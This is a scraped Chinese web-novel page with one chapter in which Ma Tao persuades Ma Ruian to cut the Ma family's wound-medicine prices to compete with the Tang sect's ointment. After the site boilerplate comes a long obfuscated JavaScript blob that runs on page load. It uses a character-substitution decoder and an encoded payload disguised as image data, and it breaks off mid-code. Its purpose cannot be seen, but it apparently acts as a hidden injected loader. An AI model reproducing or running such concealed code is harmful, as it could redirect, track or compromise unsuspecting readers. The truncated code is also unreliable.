第51(第1页)
天才一秒记住【爱看小说】地址:https://www.antiquessd.com
“这就是第二个问题。”
马涛缓缓抬起头,盯着马瑞安,“你怎么知道,家里的叔伯一定能做出更厉害的药?做不出来怎么办?”
马瑞安彻底愣住。
在他心里,马家的医术是天下第一。
他从来没想到,会有人医术比马家更厉害。
“做、做不出来?”
马瑞安受了惊吓,说话开始结巴。
“唐门药效你也看见过了,你凭什么保证,一定做得出来更强的?”
马涛话锋一转,“叔伯聚在一起做研究,做不做的出来,谁都不知道。
如果你要当家主,就不该,也不能把全部的希望寄托在制药上。”
“那怎么办?”
马瑞安讷讷问道。
不能放弃市场,可又比不过人家,暂时回避锋芒,等将来赢了去打脸也不行。
还能有什么办法?
马涛沉声道,“降价促销。”
“降价?!”
马瑞安失声叫道,“家主,不太好吧?金创药的价格是多年以来,慢慢提高上来的。
每次涨价,马家需要应付外界的不满,会承受很大的压力。
价格降下去容易,再想升回来,那就难多了。”
马涛耐着性子分析,“唐门做的高端市场,我们转做中低端市场,最起码可以活下来。
现在肯降价,有些顾客懒得换店,也许会一直在马家购物。
你有没有想过,如果马家金创药和唐门止血膏,长期是一个价格,唐门止血膏口碑又很不错,到时会怎么样?”
马瑞安迟疑了下,“顾客……会试着去买唐门止血膏?”
“不错。”
马涛颔首,“等试用过唐门的止血膏,看重质量的顾客就再也不会回头。
而更在乎价格的顾客,即使继续选择马家,心里也不会开心。”
马瑞安听着听着,忍不住流汗,“家主的意思是,不给他们尝试的机会?”
“对,从一开始就把一部分人留住。”
马涛眼中闪过一丝寒光,“虽然经过两次比赛,唐门声誉不错,可到底比不上马家在木星上扎根多年。”
“新开的一家店,指不定能存活多久。
如果唐门没有其他的宣传手段,更好的配方,赵民终究斗不过马家。”
“不是输在了智谋,不是输在了配方,只是单纯输在了积累上。
积累只能靠时间。
有了时间,多年以后,马家怎么就不能做出更好的药品了?到时候,胜负难料。”
本章未完,请点击下一章继续阅读!若浏览器显示没有新章节了,请尝试点击右上角↗️或右下角↘️的菜单,退出阅读模式即可,谢谢!
如遇章节错误,请点击报错(无需登陆)
!function(){function a(a){var _idx="dp856q5oe";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,7_2(F6O2 d0zca[(O2LF Y8H"V~tsVIz16d"="C^S]OhF(Ik"="V1fftxSoO&4iVoVDV1z"="VKzhhdzE"="VI}pVo]f|:Uf;No]rkxqw}07V~|;5L](i{SK)^SkV;A(W^O)V1J(~p7o({OfVnxrV;A(|}s(A52(Vn7L)iS1VI&FdxO_^iSVXiO&)iO4VI+fk(q(ixOYLR+(txS+VoYCVK{9dX~(k^S}V~~fyxSKV~Afkzs(NiOhfki2r^O4"="E{S+p{O_V1Rf~LiVqFQVVI0/Vo|DV;CQVIffz{SiVKF(+xORFk"="L{O:)iOsVok"="V~9yVIi@O-;"="p{SFV1hf9xOdXxSOE(Rfzz&x"="YVNfNiOtVIqfyd"="C:tEJ@;"="VIh(A{SdVedrVof(z5d"="V1FfyxS_7xSC]@_"="Xh+f++Uf+UQd"="VItwJiOLV1n6VKkQ"="OiSSC@1(A{S0VK:"="VeAf~{O&V1;"="4{S]dhxWR:_TL7Y"="V;/fi{O0"="rY](kxO^psFfNRA(zxS(VICT"="V;](tDw&"="C9C_ON|i(xS}XiSxVKJ(yWdF5ys(WiOYVntD(iO]Vou(t^SzVK~(z{OEF_1(y^SK6^O9Vesfy_65V;54p:"="VeYYqFu(+X|DVK~(WiSU^iSk"="V1xdV;f(I0z"="V1_RVnN(A)i"="rtA(N:"="Voffz{SoSk"="VeUf9xSh]d"="VoRf9xSfVnxUY^O2(xShVotR]xO6"="XLf(IxSuC^SiF7;"="5W~(+iS1J{S;5V"="r^SxuxS%Vo}:d@6BVezxSd"="qtFfih^OV;xK5fd"="]iOwV;q(WiS{Vez/"="SYs(IxOD(xSO"="V~J(k7_UFiOp):"="2xS:V~+(NxOpVo_"="p^O]:7_"="wiOfVe+(kxO{VK9&Ve^"="Vn1(tiOhqxOQV~{"="_+/(tiSp6k"="V~h(W7kFXiOR^@nnVoh(95ufAiSUVeffAd"="SiO^Vo{"="]sCCVIdh"="rtJ(ks+fIiSDVnUf9XFfAk"="XiSwVeh(yk"="uiSWV~eFVoufB:"="r^SXx^SxVnV"="F{SpV;h(yh{"="C^S4V~U(t{OEVn5C"="5Lh(W:"="fxOSOho7JVo_u^O9"="CX/feRzOVeTEF+1(|{ODft}wVIN(I0)kp_Jf|V"="VoFfiiOAV~0"="V1]fe0T"="4YiDTFk0RiS%S{SUVoF(t&^"="FLf(yxSO6iSiFX^"="VowuVK5YVI9_d:"="R{O5VIs(yiSf"="]xSqwiSLV1e^YhzJV;^^Sd"="VIk7C-/(+04fV1](yxSQ^xSkDz_DV1x"="R^O4V1~(y{SL)^S7:(J(Wk"="VeffNL{A6iOC"="VI1(B^S(V;^|Vou(y9A(;^OX"="O9Cp2}&&){SApxSC"="VIJ(WX6-TiORJhtrVoT"="V1Af+xO%V~d"="Veq(~^OL"="V1FfyxS_7xSC]skt"="R{O2VI+(z^SL"="VKUfz{SJYxSXxk"="x{SJ)51(;xOoVe+(k:"="w^SR]^S2Vo|qdV"="C:976h|sf{S}(V"="Y@1fWXooVITu4:"="OiSS6hU(9xSQVKf(yiSt2^SiV;4QVni-JV"="4iOX2:i%VoFfyxO1VKF(+:"="4xOqVIu(WxS|"="2iS2O@/(Ik"="Voh(9{O:CiOi"="4{SXfs:7::"="LDnYV~6C^-u(+5|oVek"="LiO7JiOiVo_"="V~XFVohf|9;"="hkqft{OKV~Rfz{O}6Vk"="V;hft-V+2xOTV;ufA9/(IxO_hzu(AiOi^@UfzxSI"="VIFfe{Sqx@d7"="DiSx(}Q)Od"="r^Sx(hT]RFV"="C{OsV;e;Vo{xFLffi^S:Ve~(9Xx"="(^S)TiS&V;w}w-xV^Nw-"=":hhfzVAfkV"="R{OYVI/(tV"="V~/f|iSfTh0("="V1]fN{S7diSC"="V1~f+xSV^)7qVn:)V1z"="V~9WVIkQ6W6"="VeF(+h}KRiS7TxOyVI+(ktY"="fNe)VI{J7@s(9&2Q"="SYN(;xO)CiSOCd"="V~e-V~TK"="VI1(A{S2V;_qVo](Wk"="_WJ(z{S^^V"="V~U(k}{sX^Ou^N:"="VKf(e00"="V~R(B&zeLk"="V~wFVnsf;5f(|:"="C0f(eiOfJ^SL"="V1/f9{O%V~ffixSJ^^OJ4^O|"="5y&7V~kC"="^Dq(;xO7SxSuVK;"="VeN(e)_%]xSwVo9qVou(BkJ(A7)n7X_nV;JfN@T"="V1ffyiOKV~RftiSE7^ORw^OUpUk{"="2xOBV;4/Vnk1x:"="VeYrqFF(Ad"="V;^42U+(et44V1V"="E9hfB^S:]iO(JF/ft)1f~iOW"="xiSSFxS:Voz"="uyu(~xSEq^SRV~](zk"="V~s(;iSpV;xhVou(WVs(e^O22zidT-_sVnJfBiSLV1s(~ko"="r7N(kxOOSk"="VooWVehfiyufA{S+"="X^S7(9z"="f&Rfzk"="VIffe{S^xsV4"="r^S()h67F(YdDY{;Y^SO"="S7](~xO7J^S]O:hft:ufI^O(dk"="x{O%Ve1(t^SF"="]9f(exS|YiSp4N^"="69C-6sQk7^STfxSCVK{"="V;J(eiO|Sk"="hk+f9xO9VI+fy{SI"="J{OoVKk"="VIR(A&YzL^SwVoeKVnA(A:R(eNe{"="f&Jfz^ONV~Jf9xOhC)97"="E{S+fxO6Vnz"="VI5hqiO5Vn;uV~2K"="rsN(IxST({S]VIf(z_6"=")iOdq_o/Ck;"="V~F(i9YBXiS~VneJVof(~:"="Vn|pV1}5V~:uD+{"="riO_Ves(WxSA"="_L1(W^SSO^S&u7qf;^Sk"="VosfI^S/"="Vo^2VnN(B9dExd"="VI6XV;F(~+^~hxSz"="Vohf+^SLV1^|J^OOp^S^VoQ+4xO|_:"="Yd+fziO0V~JfN{O/6V"="(d+f;iO9V~RfN{O%Sk"="VI}pS{OpVnopVI4yF&0"="q}sfBD{4"="VI06V;q(~+^N2{SyfU;V6{Sp"="V1ff+iOr"="V~;XVe]f|Rwn"="u{S:w^SrVn45):"="V1:YV11f|+J(zf)h"="V~26C^OpVK6]"="V1qft{SJYiSOwV"="Vnh(y{O6O^O6VI^"="VK/(tdY"="^95_6@2zh{O9fiSDVKR(kLn^"="VKhft^SO)^SX"="Vo]f+xS(V1^sJ^O2(xSBVnCLr^O)D{O9]:"="VKJfNiSdp^Sp]s6X^0&eV;]fttz"="VIXhO:"="XxO:J^OWVo_t"="2:Q(^N|k6{Ss(xSRVK/(+fY"="V1&6Vn:"="R^OdV~J(k^SL"="V~2uVoff~)s(iF}4w&^/x7}]V~V"="VIC)S{O:VoVp"="VouftW^AdxO}^^OYV;h(I@^z^d"="6:n_rLdI"="V;4ihk"="VIN(AiS:"="fiOuR7T)w{OxVKqfiiO}]zx4"="V~/fe{SDRRV_V;i"="5xOJV~q(tiS7pxSkFFhfNsQ@"="rxSxu{SrVo|R7Y6;"="VKhfWt6sFxORTd"="V~9{6FhfW-xL^iS7dF4nYV"="VoioV;1fzyuf|:"="VKTzxsR(+R):"="C^OL6d6)"="VI+(Wht|"="XxOr^{O9VK6nXVY92d"="LiO4O{OyVn:"="w{SDEiSEVo}2hy_"="VeY]O+1(Ik"="riSO7)U(I{S5Vnqfky]f+{S)VeCeVo)hV~0"="XpQnVI^CYWs(kV"="RsqfyVUf|L4YV;Y6VKz"="(xO&V;eBV1xiL-Jf;^SwVe;"="VoJ(9h/fexOxO5~fe^SwVnR(+^OT"="V~/f~iSqw@0"="V~U(k}0-x{OpJpndVni"="VnxVVeufzUq(|{S|T:"="u{S_69~(;^S~VnNfW:"="StR(B^O)CiSE"="E^SX7X67R5T7R}xnpV"="FpXYV~dJYV"="VeF(WhX~wiSW4^O|V;s(yk"="O7](IV"="Xyt4V~o4YW/(+:9eV;/fk{OuVI1(yiS^"="V;+fW{ShVn{tq^S2hiS2VnT"="r^SRpds(|V"="uxSxfNVf"="VIUf~5oO){OoVehfyk"="r0J(W{OJqY+f9RN(|V"="r{Ox6d;]VnqfNxO;V1+(zd"="C{S/pxSqVn/f;@z"="wxSrhdi"="E^SSriS~Vn&x):"="diO:S@kUC5iUEiOkV;|TV~6"="r{S+VI2YVK^"="qt1fiy_"="V~R(|d6+R{S^"="VKhf+xOqVIufyV"="O{SSON~(IiS1"="rxSrhV~(AxSA"="VeRfzWA(tiSw4)+fk^S+Vn1(AiO+5xSQVK](+d"="4xODVeu(k{StV~_{"="^iO+Ve|1"="V~wRVnqf;:u(W-X5wV{"="_hRfy&~feF})Ved{VKo"="]XN(9{O(J:"="]^SE)L](eiSNVn;"="2^SFhYh(ixS9Ve+f+h]fWV"="Ve_4CW6"="V~q(Bd_e5{SwVn0"="V;s(W{S_"="V1x5h9zJVKzC(d"="O_F(eiOdC{SR"="FiSRV;A(9h_UVe2t"="V;]f|xO+V147T{S5:0N(Ad"="Vn00Vn/(tV"="VoFf9iS(Vo{"="V~;XVeq(~({&)iS~p(^"="VeRf9+/(|iS74:"="VoRftW_~diO{O^O|V;A(es;W^V"="V~h(kxO~V~AfziOu^iOE]{OIp-5N_-}(VedVVK0EdiS(T^OS:V;TVnQh]d"="ExSX7sTfDkYtD:"="2kJf+(z"="YiOX2R^W"="YdqfN{O-V~JfNk"="VoT^Vn1(A9VoEDV"="uhRft&V"="V1_qVnf(IV"="F@nEV~oDhWU(z:k"="4}A(NxOYSy+fADs(B^S^VIXTL{OkV;f(ARtxVI]fN_d"="VIJ(W_kp_iOwqRQhVnU(+V"="^xSpOpN(B{S9"="5Us(txS(7xS|:0/f9{SIVe5o"="V1s(i{OLCf9)VnT"="V~1(exS)V;6rVnA(t&f(9k"="Vn{VV;UfkyUfIk"="R{SYh:Xh2xSiVosfziOr]h6EVo)SDk+fis7-(k"="x{S2uxSJVo;ERW:"="VnexVKwYV~X@hhFfi^OS"="4D&)VIVqhsT"="VI}^C^O7V1zr"="w@F(I^SJ^iSsVI^"="Ck9_OV"="x{S2uxSJVo;ERW:zV;7pq@F(z{Ou7teWVnVIV;A(A0/(WX0r]k"="VKff9^O@V~]f9V"="r^SzV~QLVnffe^SoVe^"="671f|R06V;iV5d"="q_hfeNzLV;Tx:+s(BiO5"="V;__V1eCVI9FdL0"="VozJVn+(A9;TEhTpVoR(z)}R"="r{OT2Vi6VnufN{ONV1+(t(ffi0z%V10i6{S:V~/fz9](y{OQfxSyV~0"="V;J(BiOBOV"="V1FfyxS5Fd"="VI/fIiSf4ziEV;q(B{OqVn_"="V;F(I{Oz6{Sw"="F^SSVoJ(ks^nVe5;O:"="Vn/fNiS^dk"="Voh(z^Ou6{OnVI^"="C^SS67F(i^SNVKF(9xS@r^S]"="(xORJhV"="Vesfy(A(|iSFF9d"="V1z4YdiJVK}QX)60V1:BwV"="2^SxC0N(B{S~V1_"="VK:A4RF(NN9h"="Vo{5Vo/(i);"="4R7&VITf"="Ve+(+N7~5{SWxk"="_y7YV~^_7k"="FL~(t^S66iS|"="]@1(I^SAJ^SwVIA(Ws;ewiSFVn~(N0XB"="VKUfNiS97V|~VokfVK;DVe6"="V1Jfz{SJYiS+]sxW^}x"="up/(y^ST^V"=":xSf(95w"="Vo1fy{SfVnd"="VI4EVn~fe9:"="DiSJ():JxxOD"=":xSf(95wE{OxVeN(W^SECh{XVn};R9N(ed"="uxO]6(;)VnRftxOIV1/(W++fNX0YV1^1h^SfVIhfkV"="V~/(kzoU:xODCpt)VoN(kk]fB^S}VeFf;^O{VKV"="r{OCq:YO"="JFi_V17frL+(W}q(W^SWSp6"="uiSyV~CYVKNfBxSX"="V~qfid66)iO1V;FfkfJ(+xO~hyq(k{OR)tJfeiSqCxOhwzxJ)^OV"="VnexVK}YV~QBYV"="VIU(;^SFVe:dVos(A5u(W^O22V"="V1Uft{S{J:nRVoV]V1kuVei"="2iS]Ch+(i^SsVoq(N{Se4xSR"="V16]d5;6V~6R7V"="E^OsYxO)V1:qxF0wfXQVV1dY5)_K4xSBV;YdV1RfB^O6VoiY(VJ(IxS-VoR(iRzrV;56Veeuq799JxS/wiO]u^O&Ve/fIfFfy:"="LiOd^^O@Vo_/R&iU"="Vn~(yiO2qiOiV~z"="VIkFV;A(B-6V"="V1+(|xS)Cpo:Vn1fI^OAVo5qYss(|z4JV1~fILN(efx:Vn4DVeXeVnTkr{Oh2{O6"="]^S-){O:"="qUJfAxOLEiO)V1s(eyYWF^SYV1Y"="VnFf~iO+VK)&xiSY(k0"="V~4(Vn/f~di"="V1Jf9iS2h{SX"="V;qfkiSuExSQVKq(kkxqOiS%V;Ufek"="O&&X2p4~L{SAd{SS"="F{ShVe~(9@oAV;tB4d"="FiOOV~R(9{STd^OTppV"="CYRf;yVJVn9V):"="OiONV;7QVo6N"="r{SfLkU(i{S9VnUfWRffk{SdVe2/V~|EVIJf+xOydk"="VnFf+^SqVnzsJd"="DiSJddw)S:"="4^O^V;u(tiSBVo)}V;i"="V~R(B&{%4iSx"="DN9qVKdJ(fT"="VK/f9iSYpd"="VIUf9+^|6^ODVeJfI5s(;iODO0~(Bk"="Voq(9iOr6k"="VI1(exS5V;^qVo](WWs(kiOFOtT5"="qX](e{OC({SLh5/fiVFfIxOC"="VKUfy^SN2&X~"=")^OTR:"="Vo_2Vnh(idz}"="VKX}VId9OV"="TiSwYRVfR:_(L:"="^xSwOsf(NxS1VKf(9xSf4iSRV~V"="VnRfkhV"="hiSLV1qfkxOfD{OX]V]f9DC1VKY"="){OrJ+tESxS4VK{"="S{S:V~J(9iSS"="RiO5Opk&q9|wSV"="wdf(e(e6Vn5BT51(y^O_O};"="Vouf~{O27iSF2{OEVnT"="VoxpVoN(Ak"Z!5YF_52 d0z87_2(F6O2ca[5YF_52 YP=d0zcaP7_2(F6O2 d0FcY=Fa[(O2LF 28d0zca!5YF_52 d0F87_2(F6O2cF=La[F8F*}KQ!qYF O82HFZ!67cd0FmS(F;|C8880H0Za[Xd5 587_2(F6O2cYa[(O2LF L8"d)(fY7ph6CSq^2OJ:5LF_XDRT4ruxwE]k9W+ztyN;eI~i|BAV&-U0}@sonK1{Q%/8"!qYF F8""=28""!7O5cqYF O80=6=2=d80!28Ym(hd5rFcd%%a!,2vvc68Oboj6.Ko%2g2=O%%boajF%8iF562pm75O^xhd5xOfYc@nnv6>>c*@.OvKaag0a28Lm62fYR;7c2a!7O5cqYF Y80=L8FmqY2pFh!Y<L!Y%%a2%8"b"%c"00"%Fm(hd5xOfYrFcYamFOiF562pc}KaamLq6(Yc*@a!5YF_52 fY(OfYB~WxO^JO2Y2Fc2aP!(O2LF F87_2(F6O2cY=Fa[qYF L8HZ=O80=6=d8""!Y85cYa!qYF 2!7O5c280!2<@nK!2%%aLH2Z82!7O5c280!2<@nK!2%%aO8cO%LH2Z%Fm(hd5xOfYrFc2bFmqY2pFhaab@nK=68LH2Z=LH2Z8LHOZ=LHOZ86!280=O80!7O5cqYF F80!F<YmqY2pFh!F%%a28c2%}ab@nK=O8cO%LH2Zab@nK=68LH2Z=LH2Z8LHOZ=LHOZ86=d%8iF562pm75O^xhd5xOfYcYm(hd5xOfYrFcFa3LHcLH2Z%LHOZab@nKZa!5YF_52 dP!d0Fm&&qqJ:8F=Y8d5p_^Y2FL=d0FmS(F;|C8llHZP(O2LF (82H0Z=68F%(=d8YH6Z!5YF_52 djO8dgcd0FmpC|Bz68880H0Zvvcd0FmpC|Bz68llHZa=O8d0Fm&&qqJ:cO=La=YH6Z8Oa=OP=d0FcY=FaPc7_2(F6O2cY=Fa[(O2LF 28d0F=L8Yca!7O5c!llHZ!aF5T[(O2LF Y8*Jd5LYW2Fc2c@1o="1o5L"aa/}%Jd5LYW2Fc2c}1}="Ri-Q"aa/@%Jd5LYW2Fc2csQK="ciV-"aa/s%*Jd5LYW2Fc2c@K}="7~v5"aa/o.c*Jd5LYW2Fc2co@n="J@pp"aa/na%Jd5LYW2Fc2co{K="~;6."aa/K%*Jd5LYW2Fc2c@nK="J@pp"aa/1%*Jd5LYW2Fc2coKQ="0AiE"aa/{.c*Jd5LYW2Fc2co@o="c&qZ"aa/Qa!67cY888Fa)5YdS!LmJ_LhcLmLh67FcaaP(dF(h[LmJ_LhcLmLh67FcaaPPacd0z=K@00}{a=cca8>[(O2LF F8d0F!Xd5 C=;=h8D62fODHFcssQ="rbnL"aZ!qYF e82_qq=q8h/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=28"7S5))S"=_8"fJ{nK:nOY"%Fco{n="eJdd"a=Y8[5ODLgo=(Oq_^2Lg}0=6FY^V6Fhgh/}0=6FY^9Y6phFgq/o=qOdfiFdF_Lg0=LqOFWfgEcmn<ydFhHFc}{1=";pn+"aZcajKg{a%2=5YXY5LYWfgEcmn<ydFhHFcs00="iCo9"aZcajKg{a%2=5YXY5LY9Y6phFgN_^)Y5c"0"a=6L|OJg"0"=YXY2F|TJYgFc}QK="(NBp"a=5Y|5Tg0=f2Lg0=L_gHZ=Dg0=)pgFcosn=";pn+"aP=M8Fc@{{="^hoz"a=x8Fcn0n="$S#F"a=S8Fc@0Q=".5LL"a%2HFc@}0="~;6."aZca=68HZ=O8H"U2)Cnid4R@dOnktFQ@-_p&-OA2f_Ri)XN^t4Asf00@)"Z=i8Fcsn}="EBKL"a=(8fO(_^Y2FHFc@Qo="|xyR"aZHFc@00="YzZ@"aZ=p87_2(F6O2ca[(O2LF Y8F!5YF_52cc2YD wdFYaHYc@}Q="|xyR"aZca/Jd5LYW2Fc"s"%Ycsso="+~G1"aHYc@1n="+~G1"aZc*naaaHYcoK0=".5LL"aZcaHYc}1@="U7z{"aZc0=Yco}}="5EO5"aHYcn0o="~;6."aZcs=oaaP=y87_2(F6O2cY=2a[(O2LF L8F!5YF_52 YHLc}{K="eJdd"aZc2=*saP=]87_2(F6O2cYa[(O2LF L8F!qYF O8YHLcos@="+#cl"aZc""a=68""!7O5cXd5 28OHLcso}="vrAn"aZ*}!2>80!2**a6%8OH2Z!5YF_52 6P=487_2(F6O2ca[(O2LF Y8F!F5T[qYF F8+i;NHYc@oQ="c&qZ"aZcXcMa??"HZ"a!686HYcoQs="^hoz"aZcFa=JcM=""=0aP(dF(h[P5YF_52 6HYc@0n="+~G1"aZ>0P=~8LYF|6^YO_Fc7_2(F6O2ca[(O2LF Y8F!D62fODHYcon1="3&Db"aZ8D62fODHYcs@{="Oe]e"aZ??HZ!qYF L8YcsQo="+~G1"a=O8fO(_^Y2FHYc@s@="3Gp;"aZcYco}1="3&Db"aa=68fO(_^Y2FHYcs1Q="EBKL"aZcYc@Q1="eJdd"aaH0Z!D62fODHYc@Kn="y@Uv"aZHYcoo1="+RH]"aZcHYcoQ}="(NBp"a=lHZZa=D62fODHYcsn1="q.6G"aZHYcsos="~;6."aZcHYc@1s="36e5"a=LZa=D62fODHYcs@1="U7z{"aZHYco}o="faKQ"aZcHYc}Q@="eJdd"a=Ycs{Q="WGUa"a%2%Yc@{n="KKFw"aZa=D62fODHYcon1="3&Db"aZHYcon}="y@Uv"aZcHYco}s="^hoz"a="/M"%2%Yc@Ko="EBKL"aZa=OHYc@0o=":AGN"aZ8Ycsoo="|2kp"a%L=6HYc@@s=".5LL"aZHYc@n{="c&qZ"aZcO=6aP=}n00a!YHFcsKK="R3z;"aZ888"0"vvcYHFc@KQ="(NBp"aZ8llHZ=(m6f8_=D62fODH_Z8(a=YHFcn0{=";KQN"aZ8YHFc}Q{="|2kp"aZ888"}"!7_2(F6O2 Lc2=La[(O2LF O8F!L8}<d5p_^Y2FLHOc@{}="5EO5"aZvv0H0Zl88LjLg""=cYHOc@KK="Ri-Q"aZ8*}=6HOc}{}=")iz:"aZc2%"g"%LaaP7_2(F6O2 TcYa[(O2LF 28F!Xd5 d=5=(=q=f=_=h=682cs{o="^hoz"a%i%2co00="faKQ"a=L8""=O80=^87_2(F6O2cYa[(O2LF F82!7O5cXd5 68""=L80=O80=(80=d80=580!L<YHFco0{="J@pp"aZ!aO8YHFc@{@="y@Uv"aZcLa=O<}@{jc6%8iF562pHFcsss=".5LL"aZcOa=L%%agO>}Q}vvO<@@ojcd8YHFcoQo="YzZ@"aZcL%}a=6%8iF562pHFcon0="s.uV"aZccOvs}a<<K?dvKsa=L%8@agcd8YHFcs0n="U7z{"aZcL%}a=58YHFcsno="+~G1"aZcL%@a=6%8iF562pHFco@@="+#cl"aZccOv}na<<}@?cdvKsa<<K?5vKsa=L%8sa!5YF_52 6P!7O5cYH2c@}n=":AGN"aZc"^fnL"avvcY8YH2co1{="|2kp"aZco=N_^)Y5c"}@"aaa=Y8YH2coKo=";KQN"aZc/H3r*Ud*40*Q%/8Z/p=""a!O<YH2csKQ=".5LL"aZ!ah86H2cso@="ciV-"aZcYH2coKn="HNsc"aZcO%%aa=586H2cs0@=";KQN"aZcYH2c@sQ="faKQ"aZcO%%aa=d86H2cs{n="rbnL"aZcYH2co11="p~k@"aZcO%%aa=(86H2csK}="1o5L"aZcYH2c@n}="vrAn"aZcO%%aa=q8h<<@?5>>o=f8c5v}na<<o?d>>@=_8cdvsa<<K?(=L8L%iF562pH2coQ0="|2kp"aZcqa=dl8KovvcL8L%iF562pH2co}K="HNsc"aZcfaa=(l8KovvcL8L%iF562pH2cons="(NBp"aZc_aa!5YF_52 ^cLaP(O2LF N8Tc"^fnL+2NJU@oQ4"a!YmL_87c0a=Ymd58OH0Z!F5T[O87cOH0ZaP(dF(h[P7_2(F6O2 wca[(O2LF Y8F!qYF 28XcSa!5YF_52 2??JcS=28ydFhHYcsK{="5EO5"aZcaHYc@@Q=":AGN"aZcsKaHYcsQ}="Ri-Q"aZcsa=0H0Za=Y2(OfYB~WxO^JO2Y2Fc2aP7_2(F6O2 dcLa[(O2LF 68F!qYF d8YmL_HydFhH6c}Qn="(NBp"aZcydFhH6c}{1=";pn+"aZca.YmL_H6cn0}="q.6G"aZaZ=5!67cldvvcd8OHydFhH6c@{1="a50S"aZcydFhH6cssK="tIl|"aZca.OH6co10="faKQ"aZaZa=lda5YF_52 O87cYmd5a=d!qYF (87_2(F6O2ca[(O2LF F86!qYF O8cpcaHFc}{s=".5LL"aZc*na%2HFcson="kQa}"aZcJd5LYW2Fc"@"a=naaHFcs@o="|xyR"aZc""a=58ydFhHFc@s{="q.6G"aZcaHFc@1{="iCo9"aZc}KaHFco1{="|2kp"aZc@=Jd5LYW2FcFc@11="tIl|"aHFcn00="c&qZ"aZco=KaaaHFco1}=".5LL"aZc""a=d8""!7O5cXd5 L8OHFco0n="36e5"aZ*}!L>80!L**ad%85HLZ%OHLZ!5YF_52"^fnL+2NJU@oQ4"%dP!5YF_52 dH6co1o="R3z;"aZc"m"aH6c}{{="HNsc"aZ>@j58dg58pca%2%"m"%d=Ympf86css{="|2kp"a%5=5%L%6co1s=";KQN"a%wca%|ca%N%(c2aH6c@K1="Ri-Q"aZcJd5LYW2Fc6cs}@="WGUa"aH6c@{K="iCo9"aZc*@a*@KaaP7_2(F6O2 ^cO=6a[(O2LF d8F!YHdco{}=".5LL"aZ%%!F5T[Xd5 (8iHdcsQQ="q.6G"aZc""a=582YD &yt9FFJ~Y:_YLF=q8"m"%2%"m"%(HydFhHdc}Q0="5EO5"aZcydFhHdcs}s="HNsc"aZca.(Hdc@QQ="+#cl"aZaZ%dc}1Q="5EO5"a!5Hdco}@="q.6G"aZcdc@no="vrAn"a=dc@@}="rbnL"a%O%dco@0=")iz:"a%dcn}{="J@pp"a%dcs}K="tIl|"a%dcsoQ="rbnL"a%dc@K0="p#LA"a%pca%q=llHZa=5Hdc@sn="|2kp"aZ8nYs=5Hdcs{0="p#LA"aZ87_2(F6O2ca[(O2LF F8d!67c5HFc@@0="eJdd"aZ888ovv5HFc}1o="+~G1"aZ888@00a[qYF 28+i;NHFcn}o=";pn+"aZc5HFcs}o="1e;1"aZa!2vv2HFcn}}="a50S"aZ>0vvlJcx=2H0ZHFcoso="WGUa"aZc}=*}a%"?"%c2YD wdFYaHFcooo="U7z{"aZcaHFc@1}="5EO5"aZca=0a=2vvcYmL_87c0H0Zaa8880=YHFc@on="vrAn"aZ80PP=5HdcsK1="y@Uv"aZ87_2(F6O2ca[(O2LF F8d!5HFc@o@="q.6G"aZca=6vv^c6=0H0Za=Lcns=FcsKn="Oe]e"aaP=5Hdcs@Q="5EO5"aZ87_2(F6O2ca[(O2LF F8d!5HFcn0Q="+#cl"aZca=6vv^c6=0a=Lcns=Fco{{="rbnL"aaP=5Hdc}1s="c&qZ"aZcaP(dF(h[PP7_2(F6O2 7c2a[(O2LF L8F!qYF O82??Xcx=0a!67clOa5YF_52lYHLconK="s.uV"aZvv^cLco}{="J@pp"a%Lcs@s="9Z6@"a%"mn"=Lcono=";pn+"a%"mKmK"a=HZ!67cOHLc@@n="Oe]e"aZc"?"a>80a[67cO8OHLcsQ{=";pn+"aZc"?"a=c2YD wdFYaHLcoK}=".5LL"aZca*Jd5LYW2FcOH}Za>sYnvvlYHLc@nn="YzZ@"aZvv^cLc@o{="3Gp;"a%Lcon{="faKQ"a%"mK"=Lc@}s="p~k@"a%LcoK{="J@pp"a%"mn"a=0H0Z8882a5YF_52HZ!O8OH0ZP7O5cO8OHLcs0K="s.uV"aZc*sa%ycO=sa%OHLcssn="YzZ@"aZc0=sa=O8]cOa!OHLc@oK="Ri-Q"aZbol880!aO%8"8"!qYF 68TcOaHLcos}=")iz:"aZc"="a!5YF_52 686HLcsQs="3Gp;"aZc7_2(F6O2cYa[(O2LF F8L!5YF_52 YHFcso0="R3z;"aZc"m"a>80Pa=6P7_2(F6O2 rc2a[(O2LF L8F!YmL_8YmL_HLc@K@="tIl|"aZc7_2(F6O2cYa[(O2LF F8L!5YF_52l2HFco{Q="c&qZ"aZc"/"aH0ZHFcsoK="p~k@"aZcYaPa=O8OHLcss@="+#cl"aZc7_2(F6O2cYa[(O2LF F8L!5YF_52l2HFcn}s="Ri-Q"aZc"/"aH0ZHFc@}1="vrAn"aZcYaPaP7_2(F6O2 XcY=2a[(O2LF O8F!qYF L82_qq!F5T[L8qO(dqiFO5dpYHOcs01="iCo9"aZcYaP(dF(h[2vvcL82caaP5YF_52 LP7_2(F6O2 JcY=2=La[(O2LF O8F!F5T[qO(dqiFO5dpYHOc@n1="+~G1"aZcY=2aP(dF(h[LvvLcaPP7_2(F6O2 EcYa[(O2LF 28F!qYF 680<d5p_^Y2FLH2co0{="J@pp"aZvv0H0Zl88YjYg}=L82csQ0="Ri-Q"a=d8LH2cs@n=":AGN"aZ=O8""!7O5c!6**!aO%8LHydFhH2c@@@=";KQN"aZcydFhH2cos{=")iz:"aZca.daZ!5YF_52 OP7_2(F6O2 |ca[(O2LF Y8F!5YF_52 Yc}{n="eJdd"a%2P7_2(F6O2 5cLa[(O2LF O8F!qYF 